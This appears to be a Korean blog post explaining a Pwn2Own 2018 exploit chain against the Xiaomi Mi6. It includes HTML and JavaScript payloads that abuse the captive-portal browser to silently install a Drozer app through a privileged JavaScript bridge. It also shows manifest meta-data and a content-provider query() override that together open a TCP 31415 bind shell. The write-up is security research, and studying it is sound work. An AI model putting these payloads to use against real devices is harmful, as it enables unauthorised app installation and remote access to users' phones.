티스토리 뷰
info
Model Name |
Xiaomi MI6 |
Date |
2019-11-22 |
CVE |
X |
DESC
Pwn2own 2018에서 발표된 내용으로 Xiaomi Mi6 와이파이와 연결할 때 [Captive Portal] 기능을 이용하여 RCE가 가능한 내용
Xiaomi Mi6은 Captive Portal이 사용되면 사용자에게 먼저 알리지 않고 로컬 서버로 리다이렉션 함
-
connect.rom.miui.com
로컬 웹 서버 “http://connect.rom.miui.com/generate_204” 에는 HTML 페이로드가 포함되는데 이 작업을 수행하면 CaptivePortal 앱이 자동으로 열림
-
intent:// 스키마를 사용하여 안드로이드 어플리케이션 특정 activity를 호출함
-
intent://testing.mi.com/thanks.html#Intent;package=com.android.browser;scheme=http;end
-
com.android.browser <- 해당 패키지를 이용하여 브라우저를 실행함
-
<a id='foo' href="intent://testing.mi.com/thanks.html#Intent;package=com.android.browser;scheme=http;end">intent link to web</a>
<script>
function fooit(){
document.getElementById('foo').click();
}
</script>
Xiaomi 브라우저앱이 실행되면 코드를 로드하는데 miui라는 이름의 자바스크립트 코드가 포함되어 있음
-
public abstract class a implements IMiuiApi {
-
public class com.android.browser.js.a$a {
method a는 서비스 설치를 시작하는 코드인데 downloadAndInstallApk() 함수에서 호출함
@JavascriptInterface public void downloadAndInstallApk(String arg2, String arg3, String arg4) {
this.a();
ae.a(this.a, arg2, arg3, arg4);
}
private void a(String arg4, String arg5) {
Intent v0 = new Intent("com.xiaomi.market.service.AppDownloadInstallService");
v0.setPackage(arg4);
v0.putExtra("packageName", arg5);
v0.putExtra("type", 2);
v0.putExtra("ref", "browser_suggestbutton");
this.W.startService(v0);
bf 클래스를 확인하면 url이 bf.a[] 배열 중 하나로 끝나야 하는 것을 확인할 수 있음
public class bf {
private static final String[] a;
private static Pattern b;
static {
bf.a = new String[]{".mi.com", ".miui.com", ".xiaomi.com", ".duokan.com"};
}
아래와 같은 url에 아래의 코드가 포함되어 있다면 Xiaomi 앱스토어에 연결되고 선택된 앱이 다운로드 됨 (아래의 코드의 경우 Drozer 인스턴트가 다운로드됨)
- http://testing.mi.com/thanks.html
(thanks.html에 포함되어 있는 코드)
<script>
function dofoo(){ window.miui.downloadAndInstallApk("com.mwr.dz","com.mwr.dz"); }
</script>
Contacts provider(com.android.providers.contacts)는 새로 설치된 모든 앱에 AndroidManifest.xml 파일에 다음과 같은 'meta-data'가 들어 있는지 확인함
# 정상적인 meta-data
<meta-data android:name="android.content.ContactDirectory"
android:value="true"/>
# Drozer의 meta-data
<provider android:name="com.mwr.dz.MyContentProvider"
android:authorities="dzprovider"
android:enabled="true"
android:exported="true">
<meta-data android:name="android.content.ContactDirectory"
android:value="true"/>
</provider>
meta-data를 탐지하는 Contacts provider 앱은 provider에 대한 쿼리를 시도함
본 서비스를 시작하고 bind Shell을 열기 위해 Drozer로 덮어쓰는 onQuery method를 호출해 실행하여 TCP:31415 bind shell을 오픈함
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
Intent i = new Intent();
i.addCategory("com.mwr.dz.START_EMBEDDED");
i.setComponent(new ComponentName("com.mwr.dz", "com.mwr.dz.services.ServerService"));
Context c = getContext();
c.startService(i);
}
'아이오티 > info' 카테고리의 다른 글
[info] lua bytecode header (0) | 2019.07.02 |
---|---|
[tech] lua 5.1 decompiler install (0) | 2019.07.02 |